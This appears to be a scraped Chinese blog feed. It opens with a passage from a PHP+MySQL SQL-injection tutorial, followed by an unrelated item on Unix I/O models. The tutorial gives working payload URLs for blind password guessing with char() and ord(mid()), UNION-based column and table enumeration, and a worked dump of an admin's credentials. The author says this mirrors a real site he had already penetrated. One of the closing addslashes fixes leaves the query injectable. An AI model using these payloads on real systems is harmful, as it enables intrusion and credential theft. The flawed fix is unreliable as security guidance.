<p>$ARGC = @ARGV;   <br />if ($ARGC != 1) {    <br /> print &quot;Usage: $0 \n&quot;;    <br /> exit(1);    <br />}</p>
<p>$path=shift;</p>
<p>@char = unpack(&#8216;C*&#8217;, $path);</p>
<p>$asc=join(&quot;,&quot;,@char);</p>
<p>print $asc; </p>
<p><strong>2、不加单引号注入</strong></p>
<p><em>注：现在我们假设magic_quotes_gpc为on了。</em></p>
<p> 众所周知，整形的数据是不需要用引号引起来的，而字符串就要用引号，这样可以避免很多问题。但是如果仅仅用整形数据，我们是没有办法注入的，所以我需要把我们构造的语句转换成整形类型，这个就需要用到CHAR()，ASCII(),ORD(),CONV()这些函数了，举个简单的例子：</p>
<p>SELECT * FROM user WHERE username=&#8217;angel&#8217;</p>
<p> 如何使$username不带引号呢？很简单我们这样提交就可以了。</p>
<p>SELECT * FROM user WHERE username=char(97,110,103,101,108)   <br /># char(97,110,103,101,108) 相当于angel，十进制。    <br />SELECT * FROM user WHERE username=0x616E67656C    <br /># 0x616E67656C 相当于angel，十六进制。</p>
<p> 其他函数大家自己去测试好了，但是前提就如上面所说的，我们可以构造的变量不被引号所包含才有意义，不然我们不管构造什么，只是字符串，发挥不了作用，比如前面猜密码的例子(user,php)，我们把查询条件改为userid：</p>
<p>SELECT * FROM user WHERE userid=userid</p>
<p> 按照正常的，提交：</p>
<p>http://127.0.0.1/injection/user.php?userid=1</p>
<p> 就可以查询userid为1的用户资料，因为1是数字，所以有没有引号都无所谓，但是如果我们构造：</p>
<p>http://127.0.0.1/injection/user.php?userid=1 and password=mypass</p>
<p> 绝对错误，因为mypass是字符串，除非提交：</p>
<p>http://127.0.0.1/injection/user.php?userid=1 and password=&#8217;mypass&#8217;</p>
<p> 由于magic_quotes_gpc打开的关系，这个是绝对不可能的。引号会变成/&#8217;，我们有什么办法可以把这些字符串变成整形数据吗？就是用CHAR()函数，如果我们提交：</p>
<p>http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)</p>
<p> 正常返回，实践证明，我们用CHAR()是可行的，我们就把CHAR()用进LEFT函数里面逐位猜解！</p>
<p>http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)=char(109)</p>
<p> 正常返回，说明userid为1的用户，password字段第一位是char(109)，我们继续猜：</p>
<p>http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,2)=char(109,121)</p>
<p> 又正常返回，说明正确，但这样影响到效率，既然是整形，我们完全可以用比较运算符来比较：</p>
<p>http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)&gt;char(100)</p>
<p> 然后适当调整char()里面的数字来确定一个范围，很快就可以猜出来，到了后面的时候，还是可以用比较运算符来比较：</p>
<p>http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,3)&gt;char(109,121,111)</p>
<p> 而原来已经猜好的不用改变了，很快就可以猜完：</p>
<p>http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,6)=char(109,121,112,97,115,115)</p>
<p><img src="http://www.4ngel.net/img/php7.gif" width="760" height="453" /></p>
<p> 然后在mysql&gt;命令提示符下或者在phpMyadmin里面执行：</p>
<p>select char(109,121,112,97,115,115)</p>
<p> 就会返回：mypass</p>
<p><img src="http://www.4ngel.net/img/php8.gif" width="322" height="344" /></p>
<p> 当然也可以使用SUBSTRING(str,pos,len)和MID(str,pos,len)函数，从字符串 str 的 pos 位置起返回 len 个字符的子串。这个和ACCESS是一样的。还是刚才的例子，我们猜password字段的第三位、第四位试试，第三位是p，第四位是a，我们这样构造：</p>
<p>http://127.0.0.1/injection/user.php?userid=1 and mid(password,3,1)=char(112)   <br />http://127.0.0.1/injection/user.php?userid=1 and mid(password,4,1)=char(97)</p>
<p> 我们要的结果就迸出来了。当然，如果觉得麻烦，还可以用更简单的办法，就是利用ord()函数，具体作用可以去查看MYSQL参考手册，该函数返回的是整形类型的数据，可以用比较运算符进行比较、当然得出的结果也就快多了，也就是这样提交：</p>
<p>http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))&gt;111   <br />http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))&lt;113    <br />http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))=112</p>
<p> 这样我们就得出结果了，然后我们再用char()函数还原出来就好了。至于其他更多函数，大家可以自己去试验，限于篇幅也不多说了。</p>
<p><strong>3、快速确定未知数据结构的字段及类型</strong></p>
<p> 如果不清楚数据结构，很难用UNION联合查询，这里我告诉大家一个小技巧，也是非常有用非常必要的技巧，充分发挥UNION的特性。   <br /> 还是拿前面的show.php文件做例子，当我们看到形如xxx.php?id=xxx的URL的时候，如果要UNION，就要知道这个xxx.php查询的数据表的结构，我们可以这样提交来快速确定有多少个字段：</p>
<p>http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1</p>
<p> 有多少个“1”就表示有多少个字段，可以慢慢试，如果字段数不相同，就肯定会出错，如果字段数猜对了，就肯定会返回正确的页面，字段数出来了，就开始判断数据类型，其实也很容易，随便用几个字母代替上面的1，但是由于magic_quotes_gpc打开，我们不能用引号，老办法，还是用char()函数，char(97)表示字母“a”，如下：</p>
<p>http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)</p>
<p> 如果是字符串，那就会正常显示“a”，如果不是字符串或文本，也就是说是整形或布尔形，就会返回“0”，如图：</p>
<p><img src="http://www.4ngel.net/img/php9.GIF" width="521" height="432" /></p>
<p> 判断最主要靠什么？经验，我以前一直都说，经验很重要，丰富经验能更好的作出正确的判断，因为程序的代码是千变万化的，我们这里是只是举个最简单的例子，这里由于局限性，程序都是我自己写、自己测试的。方法因程序而异。希望大家在实战中，注意区别，不要照搬，灵活运用才是根本。</p>
<p><strong>4、猜数据表名</strong></p>
<p> 在快速确定未知数据结构的字段及类型的基础上，我们又可以进一步的分析整个数据结构，那就是猜表名，其实使用UNION联合查询的时候，不管后面的查询怎么“畸形”，只要没有语句上的问题，都会正确返回，也就是说，我们可以在上面的基础上，进一步猜到表名了，比如刚才我们提交：</p>
<p>http://127.0.0.1/injection/show.php?id=1 union select 1,1,1</p>
<p> 返回正常的内容，就说明这个文件查询的表内是存在3个字段的，然后我们在后面加入from table_name，也就是这样：</p>
<p>http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from members   <br />http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from admin    <br />http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from user</p>
<p> 如果这个表是存在的，那么同样会返回应该显示的内容，如果表不存在，当然就会出错了，所以我的思路是先获得有漏洞的文件所查询表的数据结构，确定结果后再进一步查询表，这个手工操作是没有效率的问题的，不到一分钟就可以查询到了，比如我们在测试www.***bai.net就是这样，后面的实例会涉及到。   <br /> 但是有一个问题，由于很多情况下，很多程序的数据表都会有一个前缀，有这个前缀就可以让多个程序共用一个数据库。比如：</p>
<p>site_article   <br />site_user    <br />site_download    <br />forum_user    <br />forum_post    <br />……</p>
<p> 如果安全意识高的话，管理员会加个表名前缀，那猜解就很麻烦了，不过完全可以做一个表名列表来跑。这里就不多说了，后面会有一个具体的例子来解开一切迷茫^_^……</p>
<p><strong>实例</strong></p>
<p> 下面对一个国内非常出名的站点进行善意的攻击测试，来对上面的知识进行一次大概的验证，出于影响等诸多因素，我们称这个站点为HB(www.***bai.net)，HB使用的是夜猫的文章系统和下载系统，不过文章系统已经升级了，我们就不看了，下载系统是绝对有问题的，不过由于我现在写文章的电脑不上网，我用相同的下载系统在本地进行一次模拟的测试。实际上，我事前早用更狠毒的技术渗透过HB。   <br /> 首先我们找到有问题的文件，show.php?id=1，我们马上看看数据结构和表名，看看HB有没有改字段和表名，我早知道夜猫下载系统1.0.1版的软件信息的表有19个字段，就提交：</p>
<p>http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1</p>
<p> 注意，这里有19个“1”，返回正常的页面，我可以可以肯定字段没有变，我们也就别拖拉了，直接看看夜猫的默认用户数据表是否存在：</p>
<p>http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user</p>
<p> 正常返回，如图，如果URL不清楚可以看标题那里：</p>
<p><img src="http://www.4ngel.net/img/php10.GIF" width="715" height="653" /></p>
<p> 嗯，这个HB还真是够懒的，这么烂的程序也不知道先修改一下再用，不过也是，没有多少人和我一样有闲心先去加固程序才用的，再看默认的用户id还在不在？</p>
<p>http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1</p>
<p> 忘记了，就算不存在id为1的用户，前面的查询是真的，照样会正常返回数据库的软件信息，我们只能让前面的查询为假，才能使后面查询的结果显示出来，但我们要注意一点，show.php文件里面有这样一段代码：</p>
<p>if ($id &gt; &quot;0&quot; &amp;&amp; $id &lt; &quot;999999999&quot; ):   <br />//这里是正确执行的代码    <br />else:    <br />echo &quot;&lt;p&gt;&lt;center&gt;&lt;a href=./list.php&gt;无记录&lt;/a&gt;&lt;/p&gt;\n&quot;;</p>
<p> 也就是说我们的ID的值再怎么离谱也不能在0和999999999之外，HB的软件肯定不会超过10000个的，我们就提交：</p>
<p>http://127.0.0.1/ymdown/show.php?id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1</p>
<p> 正常返回了，表格里的数据全部是“1”，说明ID还在哦。如果不存在的话，页面只返回的数据全部是不详，因为程序的判断是如果数据为空就显示不详。现在确定了ID存在后，还要确定是不是管理员才行啊：</p>
<p>http://127.0.0.1/ymdown/show.php?id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1</p>
<p> 程序规定groupid为1是超级管理员，既然都返回正确信息了，我们就直接构造畸形语句，暴出我们需要的用户名和密码，嘿嘿，首先看看ymdown表的数据结构，因为show.php是查询它的，所以我们应该看它的数据结构。</p>
<p>CREATE TABLE ymdown (   <br /> id int(10) unsigned NOT NULL auto_increment,    <br /> name varchar(100) NOT NULL,    <br /> updatetime varchar(20) NOT NULL,    <br /> size varchar(100) NOT NULL,    <br /> empower varchar(100) NOT NULL,    <br /> os varchar(100) NOT NULL,    <br /> grade smallint(6) DEFAULT &#8217;0&#8242; NOT NULL,    <br /> viewnum int(10) DEFAULT &#8217;0&#8242; NOT NULL,    <br /> downnum int(10) DEFAULT &#8217;0&#8242; NOT NULL,    <br /> homepage varchar(100), demo varchar(100),    <br /> brief mediumtext, img varchar(100),    <br /> sort2id smallint(6) DEFAULT &#8217;0&#8242; NOT NULL,    <br /> down1 varchar(100) NOT NULL,    <br /> down2 varchar(100),    <br /> down3 varchar(100),    <br /> down4 varchar(100),    <br /> down5 varchar(100),    <br /> PRIMARY KEY (id)    <br />);</p>
<p> 用户名和密码的数据类型都是varchar，所以我们要选择ymdown表里数据类型是varchar来，如果把varchar的数据写到int的地方当然是不可能显示的了，由于updatetime（更新日期）的长度是20，可能会出现显示不完全的情况，我们就把用户名显示在name（软件标题）那里，密码显示在size（文件大小）那里好了，在19个“1”中，name和size分别是第二个和第四个，我们提交：</p>
<p>http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1</p>
<p> 结果成功返回了我们所需要的用户名和密码，如图：</p>
<p><img src="http://www.4ngel.net/img/php11.gif" width="662" height="551" /></p>
<p><strong>验证测试结果</strong></p>
<p> 整个渗透过程就结束了，不过由于黑白把入口给改了，无法登陆，但我们仅仅测试注入，目的已经达到了，就没有必要进后台了，我后来又继续构造SQL语句来验证我们获取的密码是否正确，依次提交：</p>
<p>http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49   <br />#验证第一位密码    <br />http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50    <br />#验证第二位密码    <br />http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,3,1))=51    <br />#验证第三位密码    <br />http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,4,1))=52    <br />#验证第四位密码    <br />http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,5,1))=53    <br />#验证第五位密码    <br />http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,6,1))=54    <br />#验证第六位密码</p>
<p> 用select char(49,50,51,52,53,54)就可以得到123456。   <br /> OK！测试结束，验证我们的结果没有错误。说明一下，密码本身是123456，可以不用ord()函数而直接猜，但为了大家能看到一个完整的过程，我还是“专业”一点好了。下面补一幅截图，是本文写完后，重新测试HB时截取的：</p>
<p><img src="http://www.4ngel.net/img/php12.gif" width="612" height="531" /></p>
<p><strong>注入的防范</strong></p>
<p> 防范可以从两个方面着手，一个就是服务器，二个就是代码本身，介绍服务器配置的文章很多了，无非就是把magic_quotes_gpc设置为On，display_errors设置为Off，这里也就不在多说，既然本文接触都是程序的问题，我们还是从程序本身寻找原因。   <br /> 如果说php比asp易用，安全，从内置的函数就可以体现出来。如果是整形的变量，只需使用一个intval()函数即可解决问题，在执行查询之前，我们先处理一下变量，如下面的例子就是很安全的了：</p>
<p>$id = intval($id);   <br />mysql_query(&quot;SELECT * FROM article WHERE articleid=&#8217;$id&#8217;&quot;);</p>
<p> 或者这样写：</p>
<p>mysql_query(&quot;SELECT * FROM article WHERE articleid=&quot;.intval($id).&quot;&quot;)</p>
<p> 不管如何构造，最终还是会先转换为整形猜放入数据库的。很多大型程序都是这样写，非常简洁。   <br /> 字符串形的变量也可以用addslashes()整个内置函数了，这个函数的作用和magic_quotes_gpc一样，使用后，所有的 &#8216; (单引号), &quot; (双引号), \ (反斜线) and 空字符会自动转为含有反斜线的溢出字符。而且新版本的php，就算magic_quotes_gpc打开了，再使用addslashes()函数，也不会有冲突，可以放心使用。例子如下：</p>
<p>$username = addslashes($username);   <br />mysql_query(&quot;SELECT * FROM members WHERE userid=&#8217;$username&#8217;&quot;);</p>
<p> 或者这样写：</p>
<p>mysql_query(&quot;SELECT * FROM members WHERE userid=&quot;.addslashes($username).&quot;&quot;)</p>
<p> 使用addslashes()函数还可以避免引号配对错误的情况出现。而刚才的前面搜索引擎的修补方法就是直接把“_”、“%”转换为“\_”“\%”就可以了，当然也不要忘记使用addslashes()函数。具体代码如下：</p>
<p>$keywords = addslashes($keywords);   <br />$keywords = str_replace(&quot;_&quot;,&quot;\_&quot;,$keywords);    <br />$keywords = str_replace(&quot;%&quot;,&quot;\%&quot;,$keywords);</p>
<p> 不用像ASP那样，过滤一点变量，就要写一大堆的代码，就是上面的一点点代码，我们就可以把本文所有的问题解决了，是不是很简便？</p>
<p><strong>后记</strong></p>
<p> 这篇文章是我自2004年3月份以来利用课余时间学习研究的，5月中旬写完，里面的所有东西都是经过我亲自测试的，本文仅仅算是技术总结吧，还有很多技术难点没有解决的，因此错漏是难免的，欢迎请大家指正。   <br /> 还有不少危险性极高的东西，只要少数条件成立，一般都可以进入服务器，考虑到严重性和广泛性，我并没有写出来，我个人估计，不久将会出现PHP+MYSQL注入的一系列工具，技术也会普及和告诉发展。但我建议大家一定要弄清楚原理，工具只是武器，技术才是灵魂，工具只是提高效率罢了，并不代表你的技术高超。    <br /> 大家看到这篇文章的时候，估计我已经高考完了，暑假我会写一篇更深入的研究。    <br /> 为了让更多人了解并掌握PHP+MYSQL的注入技术，我才写了这篇文章，并决定发表，再重申一次。不要对任何国家的任何合法主机进行破坏，否则后果自负。</p>
<div id="seo_alrp_related"><h2>Posts Related to SQL Injection with MySQL</h2><ul><li><div class="seo_alrp_rl_content"><h3><a href="http://blog.yxzone.net/2012/03/22/599.html" rel="bookmark">sql语句中left join、inner join中的on与where的区别</a></h3><p>sql语句中left join、inner join中的on与where的区别&#160; table a(id, type): id type ---------------------------------- 1 1 2 1 3 2 table b(id, class): id class --------------------------------- 1 1 2 2 ...</p></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://blog.yxzone.net/2012/04/09/619.html" rel="bookmark">SQL 注入(2)</a></h3><p>本文来自 MSDN （http://msdn.microsoft.com） SQL 注入是一种攻击方式，在这种攻击方式中，恶意代码被插入到字符串中，然后将该字符串传递到 SQL Server 的实例以进行分析和执行。任何构成 SQL 语句的过程都应进行注入漏洞检查，因为 SQL Server 将执行其接收到的所有语法有效的查询。一个有经验的、坚定的攻击者甚至可以操作参数化数据。 SQL 注入的主要形式包括直接将代码插入到与 SQL 命令串联在一起并使其得以执行的用户输入变量。一种间接的攻击会将恶意代码注入要在表中存储或作为元数据存储的字符串。在存储的字符串随后串连到一个动态 SQL 命令中时，将执行该恶意代码。 注入过程的工作方式是提前终止文本字符串，然后追加一个新的命令。由于插入的命令可能在执行前追加其他字符串，因此攻击者将用注释标记“--”来终止注入的字符串。执行时，此后的文本将被忽略。以下脚本显示了一个简单的 SQL 注入。此脚本通过串联硬编码字符串和用户输入的字符串而生成一个 SQL 查询： 复制 ...</p></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://blog.yxzone.net/2011/11/09/570.html" rel="bookmark">RACF中分配SDSF权限</a></h3><p>在RACF中，给予Group USER相应的SDSF权限 1、先列出在Class SDSF下已经定义好的Profiles: 代码: RLIST SDSF * 2、然后对于每一个列出Profile, 给予Group USER相应的SDSF权限，例如profile ISFOPER.SYSTEM: 代码: PERMIT ISFOPER.SYSTEM CLASS(SDSF) ACCESS(UPDATE) ID(USER) 3、使用PERMIT命令，对于所有其他Profile, 给予USER权限（例如UPDATE, READ）. 4、动态更新你的修改： 代码: SETROPTS GENERIC(SDSF) ...</p></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://blog.yxzone.net/2012/04/05/612.html" rel="bookmark">unix下的I/O&#8212;&#8212;阻塞，非阻塞，同步，异步</a></h3><p>前4种模型的主要区别在于第一阶段，因为它们的第二阶段都是一样的：在数据从内核缓冲区拷贝到进程缓冲区期间，进程阻塞与recvfrom这个系统调用中。 参考 Richard Stevens的“UNIX® Network Programming Volume 1, Third Edition: The Sockets Networking”。Stevens一共提出了五种 IO Model： blocking IO nonblocking IO IO multiplexing (select and poll) signal ...</p></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://blog.yxzone.net/2011/12/13/586.html" rel="bookmark">qq聊天记录删除了怎么恢复？qq聊天记录的三种恢复方法</a></h3><p>qq聊天记录删除了怎么恢复？如何找回qq聊天记录，重装系统后，或是卸载了QQ重装了，QQ聊天记录没有了，但QQ聊天记录保存着很重要的信息，需要再找出来看看，怎么找回QQ聊天记录呢。下面是计算机基础知识为大家整理的一些解决办法：&#160; &#160;&#160;&#160; 打开QQ所在的目录(默认是&quot;C:\Program Files\Tencent\QQ\&quot;),找到以你的QQ号命名的文件夹,打开找到一个叫&quot;MsgEx&quot;的数据库文件,这个里面呢存的就是你的聊天记录了! &#160;&#160;&#160; 默认安装QQ的位置: &#160;&#160;&#160; \Program Files\Tencent\QQ\5205657(你的Q号) &#160;&#160;&#160; QQ号码文件夹下的文件.&#160; &#160;&#160;&#160; Config.db QQ 系统设置&#160; &#160;&#160;&#160; Content_Config.ini 自定义面板设置&#160; &#160;&#160;&#160; ewh.db QQ 密码&#160; &#160;&#160;&#160; MsgEx.db QQ ...</p></div></li></ul></div>]]></content:encoded>
			<wfw:commentRss>http://blog.yxzone.net/2012/04/09/615.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>unix下的I/O&#8212;&#8212;阻塞，非阻塞，同步，异步</title>
		<link>http://blog.yxzone.net/2012/04/05/612.html</link>
		<comments>http://blog.yxzone.net/2012/04/05/612.html#comments</comments>
		<pubDate>Thu, 05 Apr 2012 03:12:01 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[-其他相关]]></category>
		<category><![CDATA[unix]]></category>
		<category><![CDATA[阻塞，非阻塞，同步，异步]]></category>

		<guid isPermaLink="false">http://blog.yxzone.net/?p=612</guid>
		<description><![CDATA[前4种模型的主要区别在于第一阶段，因为它们的第二阶段都是一样的：在数据从内核缓冲区拷贝到进程缓冲区期间，进程阻塞与recvfrom这个系统调用中。 参考 Richard Stevens的“UNIX® Network Programming Volume 1, Third Edition: The Sockets Networking”。 Stevens一共提出了五种 IO Model： blocking IO nonblocking IO IO multiplexing (select and poll) signal driven IO (SIGIO) asynchronous IO (the POSIX aio_functions) 先说一下IO发生时所涉及的对象和步骤。 一个输入操作通常包括下面两个阶段： 等待数据准备好 (Waiting for the data to be ready)。对于一个套接口上的输入操作，通常涉及等待数据从网络到达，到达后它被拷贝到内核的某个缓冲区。 将数据从内核缓存区拷贝到进程缓冲区中 (Copying the data from the kernel to the process) 记住这两个阶段很重要，因为以下要讨论的五种IO [...]]]></description>
			<content:encoded><![CDATA[<p>前4种模型的主要区别在于第一阶段，因为它们的第二阶段都是一样的：在数据从内核缓冲区拷贝到进程缓冲区期间，进程阻塞与recvfrom这个系统调用中。</p>
<p>参考 Richard Stevens的“UNIX® Network Programming Volume 1, Third Edition: The Sockets Networking”。</p>
<p><span id="more-612"></span>
<p>Stevens一共提出了五种 IO Model：</p>
<ul>
<li>blocking IO </li>
<li>nonblocking IO </li>
<li>IO multiplexing (select and poll) </li>
<li>signal driven IO (SIGIO) </li>
<li>asynchronous IO (the POSIX aio_functions) </li>
</ul>
<p>先说一下IO发生时所涉及的对象和步骤。</p>
<p>一个输入操作通常包括下面两个阶段：</p>
<ol>
<li>等待数据准备好 (Waiting for the data to be ready)。对于一个套接口上的输入操作，通常涉及等待数据从网络到达，到达后它被拷贝到内核的某个缓冲区。 </li>
<li>将数据从内核缓存区拷贝到进程缓冲区中 (Copying the data from the kernel to the process) </li>
</ol>
<p>记住这两个阶段很重要，因为以下要讨论的五种IO Model的区别就是在两个阶段上各有不同的情况。</p>
<p><strong>Blocking I/O Model(阻塞I/O)</strong></p>
<p>默认情况下所有的套接口都是blocking。</p>
<p><a href="http://images.51cto.com/files/uploadimg/20120222/2121550.png"><img border="0" alt="" src="http://images.51cto.com/files/uploadimg/20120222/2121550.png" width="498" height="362" /></a></p>
<p>进程调用recvfrom，其系统调用直到数据报到达(第一阶段)且被拷贝到应用进程的缓冲区中(第二阶段)或者发生错误(最常见的错误是系统调用被信号中断)才返回。进程在从调用recvfrom开始到它返回的整个过程是被阻塞的。 recvfrom成功返回后，应用进程开始处理数据报。</p>
<p><strong>Nonblocking I/O Model(非阻塞I/O)</strong></p>
<p><a href="http://images.51cto.com/files/uploadimg/20120222/2121551.png"><img border="0" alt="" src="http://images.51cto.com/files/uploadimg/20120222/2121551.png" width="498" height="358" /></a></p>
<p>前三次调用recvfrom时数据还没准备好，这是内核立即返回一个EWOULDBLOCK错误。第四次调用recvfrom时数据已准备好，它被拷贝到应用进程缓冲区，recvfrom接着成功返回，然后应用进程开始处理数据报。</p>
<p>这里最关键的一个操作就是<strong>轮询(polling)。</strong>应用进程持续轮询内核，以查看数据是否就绪。这样做往往会耗费大量的CPU时间，这种模型通常会在专门提供某种功能的系统才有。</p>
<p><strong>I/O Multiplexing Model(I/O复用模型)</strong></p>
<p><a href="http://images.51cto.com/files/uploadimg/20120222/2121552.png"><img border="0" alt="" src="http://images.51cto.com/files/uploadimg/20120222/2121552.png" width="498" height="344" /></a></p>
<p>当用户进程调用了select，那么整个进程会被block，而同时，kernel会“监视”所有select负责的socket，当任何一个 socket中的数据准备好了，select就会返回套接字可读这个条件，我们调用recvfrom把所读数据报拷贝到应用程序进程缓冲区。</p>
<p>和blocking IO的图比较，I/O复用并没有显示出什么优势。事实上，可能稍有劣势。因为这里需要使用两个system call (select 和 recvfrom)，而blocking IO只调用了一个system call。但是，<strong>用select的优势在于它可以同时处理多个connection。</strong></p>
<p><strong>Signal-Driven I/O Model(信号驱动I/O模型)</strong></p>
<p><a href="http://images.51cto.com/files/uploadimg/20120222/2121553.png"><img border="0" alt="" src="http://images.51cto.com/files/uploadimg/20120222/2121553.png" width="498" height="359" /></a></p>
<p>我们首先开启套接口的信号驱动I/O功能，并通过sigaction系统调用安装一个信号处理函数。该系统调用将立即返回，我们的进程这是并没有被阻塞，而是继续执行。当数据报准备好读取时，内核就为该进程产生一个SIGIO信号。我们随后既可以在信号处理函数中调用recvfrom读取数据报，并通知主循环数据已准备好待处理，也可以立即通知主循环，让它来读取数据报。无论如何处理SIGIO信号，这种模型的优势在于等待数据报到达(第一阶段)期间，进程可以继续执行，不被阻塞。</p>
<p><strong>Asynchronous I/O Model(异步I/O模型)</strong></p>
<p><a href="http://images.51cto.com/files/uploadimg/20120222/2121554.png"><img border="0" alt="" src="http://images.51cto.com/files/uploadimg/20120222/2121554.png" width="498" height="371" /></a></p>
<p>进程发起read操作之后，立刻就可以开始去做其它的事。而另一方面，从kernel的角度，当它受到一个asynchronous read之后，首先它会立刻返回，所以不会对用户进程产生任何block。然后，kernel会等待数据准备完成，然后将数据拷贝到用户内存，当这一切都完成之后，kernel会给用户进程发送一个signal，告诉它read操作完成了。</p>
<p>这个模型工作机制是：告诉内核启动某个操作，并让内核在整个操作(包括第二阶段，即将数据从内核拷贝到进程缓冲区中)完成后通知我们。</p>
<p>这种模型和前一种模型区别在于：信号驱动I/O是由内核通知我们何时可以启动一个I/O操作，而异步I/O模型是由内核通知我们I/O操作何时完成。</p>
<p>五种I/O模型介绍完了，下面来说说blocking和non-blocking的区别在哪，synchronous IO和asynchronous IO的区别在哪。</p>
<p><strong>blocking I/Ovs non-blocking I/O ：</strong>调用blocking IO会一直block住对应的进程直到操作完成，而non-blocking IO在kernel还准备数据的情况下会立刻返回。</p>
<p><strong>synchronous I/O vs asynchronous I/O：</strong></p>
<p>先看看这两个定义：</p>
<p><strong>A synchronous I/O operation causes the requesting process to be blocked until that I/O operation completes;</strong></p>
<p><strong>An asynchronous I/O operation does not cause the requesting process to be blocked;</strong></p>
<p>两者的区别就在于synchronous IO做”IO operation”的时候会将process阻塞。按照这个定义，之前所述前四种模型blocking I/O，non-blocking I/O，IO multiplexing,signal driven IO都属于synchronous IO。有人可能会说，non-blocking IO并没有被block啊。这里有个非常“狡猾”的地方，定义中所指的”IO operation”是指真实的IO操作，就是例子中的recvfrom这个system call。non-blocking IO在执行recvfrom这个system call的时候，如果kernel的数据没有准备好，这时候不会block进程。但是，当kernel中数据准备好的时候，recvfrom会将数据从 kernel拷贝到用户内存中，这个时候(第二阶段)进程是被block了，在这段时间内，进程是被block的。而asynchronous IO则不一样，当进程发起IO 操作之后，就直接返回再也不理睬了，直到kernel发送一个信号，告诉进程说IO完成。在这整个过程中，进程完全没有被block。</p>
<p>各个IO Model的比较如图所示：</p>
<p><a href="http://images.51cto.com/files/uploadimg/20120222/2121555.png"><img border="0" alt="" src="http://images.51cto.com/files/uploadimg/20120222/2121555.png" width="498" height="358" /></a></p>
<p>前4种模型的主要区别在于第一阶段，因为它们的第二阶段都是一样的：在数据从内核缓冲区拷贝到进程缓冲区期间，进程阻塞与recvfrom这个系统调用中。</p>
<div id="seo_alrp_related"><h2>Posts Related to unix下的I/O------阻塞，非阻塞，同步，异步</h2><ul><li><div class="seo_alrp_rl_content"><h3><a href="http://blog.yxzone.net/2012/03/22/599.html" rel="bookmark">sql语句中left join、inner join中的on与where的区别</a></h3><p>sql语句中left join、inner join中的on与where的区别&#160; table a(id, type): id type ---------------------------------- 1 1 2 1 3 2 table b(id, class): id class --------------------------------- 1 1 2 2 ...</p></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://blog.yxzone.net/2011/10/08/507.html" rel="bookmark">《白鹿原》先导预告片</a></h3><p>《白鹿原》改编字同名小说，描述的是陕西关中平原上，白姓和鹿姓两大家族、祖孙三代的恩怨纷争，尤其以颇多的两性场面描写著称。大量赤裸裸的情欲戏的描写，让小说的出版以至于到现在电影的开拍，都波折重重、风浪不断。 &nbsp; 片名： 白鹿原 英文片名： Bai Lu Yuan 更多片名： 暂无 导演： 王全安 制片： 编剧： 陈忠实--原著 主演： 段奕宏 饰演 黑娃 张雨绮 饰演 田小..[更多] 类型： 剧情,家庭,情色 级别： ...</p></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://blog.yxzone.net/2012/04/09/619.html" rel="bookmark">SQL 注入(2)</a></h3><p>本文来自 MSDN （http://msdn.microsoft.com） SQL 注入是一种攻击方式，在这种攻击方式中，恶意代码被插入到字符串中，然后将该字符串传递到 SQL Server 的实例以进行分析和执行。任何构成 SQL 语句的过程都应进行注入漏洞检查，因为 SQL Server 将执行其接收到的所有语法有效的查询。一个有经验的、坚定的攻击者甚至可以操作参数化数据。 SQL 注入的主要形式包括直接将代码插入到与 SQL 命令串联在一起并使其得以执行的用户输入变量。一种间接的攻击会将恶意代码注入要在表中存储或作为元数据存储的字符串。在存储的字符串随后串连到一个动态 SQL 命令中时，将执行该恶意代码。 注入过程的工作方式是提前终止文本字符串，然后追加一个新的命令。由于插入的命令可能在执行前追加其他字符串，因此攻击者将用注释标记“--”来终止注入的字符串。执行时，此后的文本将被忽略。以下脚本显示了一个简单的 SQL 注入。此脚本通过串联硬编码字符串和用户输入的字符串而生成一个 SQL 查询： 复制 